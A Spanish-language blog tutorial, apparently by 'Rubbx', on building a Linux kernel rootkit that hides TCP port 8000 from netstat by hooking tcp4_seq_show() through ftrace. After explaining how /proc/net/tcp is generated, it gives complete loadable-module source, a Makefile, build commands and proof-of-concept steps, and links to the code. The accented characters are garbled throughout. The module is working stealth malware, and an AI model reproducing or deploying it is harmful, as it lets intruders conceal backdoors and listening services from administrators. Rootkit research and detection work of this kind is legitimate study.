Ocultando Puertos Abiertos en Linux con Rootkits


main_image

Introducci贸n

En sistemas Linux, uno de los m茅todos m谩s comunes para ocultar puertos abiertos es mediante el uso de rootkits, que permiten modificar o interceptar las funciones del kernel para alterar el comportamiento de las aplicaciones y herramientas del sistema. En este art铆culo, exploramos c贸mo ocultar puertos espec铆ficos de la salida de comandos como netstat, manipulando la funci贸n tcp4_seq_show() del kernel de Linux.

Identificando el Origen de los Datos

Para ocultar un puerto en un sistema Linux, primero necesitamos entender de d贸nde obtiene la informaci贸n netstat. Utilizando la herramienta strace, podemos rastrear c贸mo netstat interact煤a con el sistema para obtener estos datos. En particular, ejecutamos el siguiente comando:

Este comando rastrea las llamadas al sistema openat, que se utilizan para abrir archivos, y permite observar qu茅 archivos est谩 abriendo netstat para generar la salida de las conexiones de red.

De acuerdo con los resultados, descubrimos que netstat lee los archivos /proc/net/tcp y /proc/net/tcp6. Estos archivos contienen la informaci贸n detallada sobre las conexiones de red TCP activas en el sistema. Espec铆ficamente:

  • /proc/net/tcp contiene informaci贸n sobre las conexiones IPv4.
  • /proc/net/tcp6 contiene informaci贸n sobre las conexiones IPv6.

El formato de estos archivos es binario, pero la informaci贸n contenida en ellos puede ser interpretada para mostrar detalles como el estado de las conexiones, las direcciones IP y los puertos asociados a cada una. As铆, cuando ejecutamos netstat, est谩 consultando directamente estos archivos para construir la salida que muestra a los usuarios.

Nuestro objetivo, en este caso, es manipular esta salida, particularmente la que proviene de /proc/net/tcp, con el fin de ocultar un puerto espec铆fico. Para lograrlo, podemos intervenir en el proceso de lectura de estos archivos mediante un hook (interceptor) en las funciones del sistema que acceden a estos archivos. Un hook ser铆a una t茅cnica para modificar o "interceptar" las funciones que netstat utiliza para leer los datos, permiti茅ndonos alterar o filtrar la informaci贸n antes de que se muestre.

Archivos en /proc

En sistemas Linux, el directorio /proc no contiene archivos tradicionales como los que encontramos en el sistema de archivos. En su lugar, contiene archivos especiales, conocidos como archivos de procfs, que representan informaci贸n din谩mica sobre el estado del kernel y de los procesos en ejecuci贸n. Estos archivos son generados "al vuelo" por el kernel, lo que significa que su contenido no est谩 almacenado en disco, sino que es producido din谩micamente cada vez que el usuario o las aplicaciones acceden a ellos.

Por ejemplo, /proc/net/tcp es un archivo que contiene informaci贸n sobre las conexiones TCP activas del sistema. El kernel gestiona estos archivos a trav茅s de funciones del sistema que se ejecutan cuando se intenta acceder a ellos.

驴C贸mo se controla la salida de /proc/net/tcp?

Para manipular la salida de un archivo como /proc/net/tcp, necesitamos saber qu茅 funci贸n del kernel se encarga de generar el contenido cuando se lee este archivo. En el caso espec铆fico de las conexiones TCP IPv4, el kernel tiene una funci贸n encargada de mostrar esta informaci贸n: tcp4_seq_show(). Esta funci贸n se encuentra en el archivo fuente net/ipv4/tcp_ipv4.c.

Cuando el sistema lee el archivo /proc/net/tcp, el kernel invoca la funci贸n tcp4_seq_show() para recopilar la informaci贸n sobre las conexiones TCP y luego la formatea para que se pueda mostrar en la salida del archivo. Para modificar o interceptar el comportamiento de este archivo, necesitamos modificar o reemplazar esta funci贸n de alguna manera, como a trav茅s de un hook.

Identificaci贸n de la funci贸n que maneja /proc/net/tcp

Para encontrar cu谩l es la funci贸n que se encarga de generar los datos de /proc/net/tcp, se debe realizar un an谩lisis m谩s profundo del kernel. Si examinamos el contenido del archivo, podemos ver que cada socket est谩 identificado por un n煤mero de secuencia, que se almacena en la columna sl (sequence label).

La pregunta clave es: 驴qu茅 funci贸n del kernel est谩 generando esta informaci贸n cuando se lee el archivo /proc/net/tcp? Este an谩lisis es esencial para comprender c贸mo se maneja la salida que se muestra en ese archivo.

El kernel de Linux mantiene una tabla de s铆mbolos que contiene todas las funciones y variables globales que est谩n disponibles para otros m贸dulos o aplicaciones. Podemos buscar una funci贸n espec铆fica en esta tabla, situada dentro de /proc/kallsyms, en la que se puede filtrar por una cadena de texto para encontrar las funciones encargadas de controlar las secuencias TCP.

Teniendo el nombre las funciones, podemos consultar el c贸digo fuente del kernel para ver su funcionamiento m谩s en detalle. En este caso, la funci贸n tcp4_seq_show() se encarga de mostrar la informaci贸n de las conexiones TCP en /proc/net/tcp.

Se define dentro del archivo tcp_ipv4.c, donde podemos observar su implementaci贸n.

Al principio, el c贸digo muestra la estructura de c贸mo funciona la funci贸n tcp4_seq_show(). La funci贸n recibe un puntero v que se convierte en un puntero a un struct sock con el siguiente fragmento:

struct sock *sk = v;

La estructura sock es la representaci贸n a nivel de red de un socket y se encuentra definida en el archivo include/net/sock.h. Esta estructura tiene varios campos, entre los cuales buscamos el que contiene el puerto local que est谩 escuchando el socket.

Dentro de la estructura sock, encontramos el campo __sk_common, que es otra estructura que tiene varios campos, entre ellos el campo skc_dport, que es el puerto de destino. Sin embargo, la forma m谩s sencilla de acceder al n煤mero de puerto es a trav茅s del campo sk_num, que corresponde al n煤mero de puerto local del socket.

El campo skc_num se encuentra dentro de la estructura sock_common, que es parte de la estructura sock en el kernel de Linux.

sock_common es una estructura interna utilizada por el kernel de Linux para representar propiedades comunes de los sockets, como las direcciones IP y los n煤meros de puerto asociados con las conexiones de red. Dentro de esta estructura, encontramos un union llamado skc_portpair, que se utiliza para representar los puertos de manera eficiente. Este union agrupa los campos relacionados con los puertos, entre los que se encuentran skc_dport y skc_num.

El prop贸sito de este union es almacenar las representaciones de los puertos de una conexi贸n TCP en un solo bloque de memoria de manera eficiente. Sin embargo, no se utilizan ambos campos del union a la vez. En su lugar, depende del contexto de la conexi贸n de red el campo que se utiliza.

Dentro del union tenemos dos campos importantes:

  1. skc_dport: Representa el puerto de destino de la conexi贸n (16 bits, __be16).

  2. skc_num: Representa el n煤mero de puerto local del socket (16 bits, __u16).

Ambos campos ocupan el mismo espacio de memoria, pero dependiendo de la situaci贸n, uno u otro ser谩 accesible. En el caso de las conexiones TCP locales, el campo que nos interesa es skc_num, que es el n煤mero de puerto local.

El M茅todo para Crear un Hook

Para poder manipular la salida del /proc/net/tcp, necesitamos acceder al puerto local de las conexiones TCP. El campo skc_num es el que contiene esta informaci贸n. Para obtener el n煤mero de puerto de un socket, simplemente debemos acceder a sk_num en la estructura sock. Por ejemplo:

struct sock *sk = v;  // v es el puntero al socket

if (sk->sk_num == 8000) {
    // Si el puerto es 8000, podemos realizar alguna acci贸n
}

Ahora bien, volvamos a examinar los puertos que, en principio, son los que est谩n abiertos.

El valor del puerto se encuentra en formato hexadecimal y en Little Endian. Al convertirlo a decimal, se obtiene el valor 8000, correspondiente a un servicio HTTP.

Implementando el Hook

Para poder compilar el hook, ser谩n necesarias las siguientes dependencias:

  • gcc
  • make
  • linux-headers

Se pueden instalar con el siguiente comando:

sudo apt install gcc make build-essential linux-headers-$(uname -r)

Utilizaremos la biblioteca ftrace_helper.h para hacer las llamadas al sistema que instalan y desinstalan los hooks.

En este segmento del c贸digo, implementamos un m贸dulo para ocultar conexiones de un puerto espec铆fico (en este caso, el puerto 8000) de la salida de netstat. Para hacerlo, utilizamos un hook sobre la funci贸n tcp4_seq_show, que es la encargada de mostrar las conexiones TCP activas al leer el archivo /proc/net/tcp. La clave aqu铆 es interceptar esta funci贸n para filtrar las conexiones que no queremos que se muestren, espec铆ficamente las que est茅n usando el puerto que deseamos ocultar.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/tcp.h>

#include "ftrace_helper.h"

#define PORT_TO_HIDE 8000

MODULE_LICENSE("GPL");
MODULE_AUTHOR("rubbx");
MODULE_DESCRIPTION("Hiding connections from specific port");
MODULE_VERSION("1.0");

Aqu铆 se incluyen las cabeceras necesarias para trabajar con m贸dulos del n煤cleo, manejo de llamadas del sistema, y ftrace (una herramienta para instrumentar el n煤cleo de Linux). Tambi茅n se define la constante PORT_TO_HIDE como el puerto que se va a ocultar, en este caso, el puerto 8000.

static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);

La variable orig_tcp4_seq_show es un puntero a la funci贸n original tcp4_seq_show, que se utilizar谩 para restaurar la funcionalidad original despu茅s de que se haya ejecutado nuestro hook. El prop贸sito de este puntero es permitirnos interceptar y modificar el comportamiento de la funci贸n sin modificar directamente el c贸digo original.

static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct inet_sock *is;
    long ret;
    int port_to_hide = htons(PORT_TO_HIDE);

    if (v != SEQ_START_TOKEN) {
        is = (struct inet_sock *)v;

        if (port_to_hide == is->inet_dport || port_to_hide == is->inet_sport) {
            return 0;
        }
    }

    ret = orig_tcp4_seq_show(seq, v);
    return ret;
}

Esta es la funci贸n que act煤a como hook de la funci贸n tcp4_seq_show. Aqu铆 est谩 lo que hace cada parte:

  1. Casting de v a inet_sock: El argumento v es un puntero a un socket, y lo convertimos en un puntero a la estructura inet_sock para acceder f谩cilmente a los campos que contienen los puertos de la conexi贸n.
static struct ftrace_hook hooks[] = {
    HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show),
};

Se declara un array de hooks utilizando ftrace, que es una herramienta que permite interceptar funciones del n煤cleo de Linux en tiempo de ejecuci贸n. Cada elemento de este array se utiliza para asociar una funci贸n del n煤cleo (en este caso, tcp4_seq_show) con una funci贸n personalizada (en este caso, hook_tcp4_seq_show).

static int __init rootkit_init(void)
{
    int err;
    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if (err)
        return err;

    printk(KERN_INFO "rootkit: Loaded (port hiding) >:-)\n");

    return 0;
}

La funci贸n rootkit_init() se ejecuta cuando el m贸dulo se carga en el n煤cleo de Linux. En esta funci贸n es donde se configuran los hooks y se realiza la instalaci贸n para que el comportamiento deseado (en este caso, ocultar un puerto espec铆fico) se active. Este proceso se lleva a cabo mediante el uso de ftrace, una herramienta para instrumentar funciones del n煤cleo.

static void __exit rootkit_exit(void)
{
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
    printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

La funci贸n rootkit_exit() se ejecuta cuando el m贸dulo se descarga del n煤cleo de Linux, es decir, cuando se utiliza el comando rmmod para quitar el m贸dulo cargado. Esta funci贸n es responsable de limpiar los cambios que hizo el m贸dulo, en este caso, eliminando los hooks que se instalaron previamente para ocultar puertos espec铆ficos.

module_init(rootkit_init);
module_exit(rootkit_exit);

Las macros module_init() y module_exit() son parte de la infraestructura de m贸dulos del n煤cleo de Linux y se utilizan para definir qu茅 funciones deben ejecutarse al cargar y descargar un m贸dulo, respectivamente. Estas macros son esenciales para el ciclo de vida del m贸dulo en el sistema operativo.

A modo de resumen, se pueden diferenciar las siguientes partes:

  1. Verificar si el puerto de escucha (sk->sk_num) coincide con el puerto que queremos ocultar (por ejemplo, 8000).
  2. Si el puerto coincide, retornar 0 para evitar que la l铆nea correspondiente se muestre en la salida de /proc/net/tcp.
  3. Si el puerto no coincide, llamar a la funci贸n original tcp4_seq_show() para mostrar la l铆nea normalmente.
  4. Verificar que el puntero sk no sea igual a 0x1, lo que nos ayuda a evitar errores cuando se maneja la cabecera de la tabla.

El Makefile para compilar est谩 formado por lo siguiente:

obj-m += rootkit.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Prueba de Concepto

  1. Se compila el m贸dulo utilizando make

  1. Se comprueba que el puerto 8000 est谩 abierto

  1. Se carga el rootkit en el kernel

  1. Se comprueba que el puerto 8000 no aparece pese a estar python ejecut谩ndose

El c贸digo del rootkit se puede encontrar aqu铆 https://github.com/rubbxalc/hide-port-rootkit

Ocultando Puertos Abiertos en Linux con Rootkits | Rubbx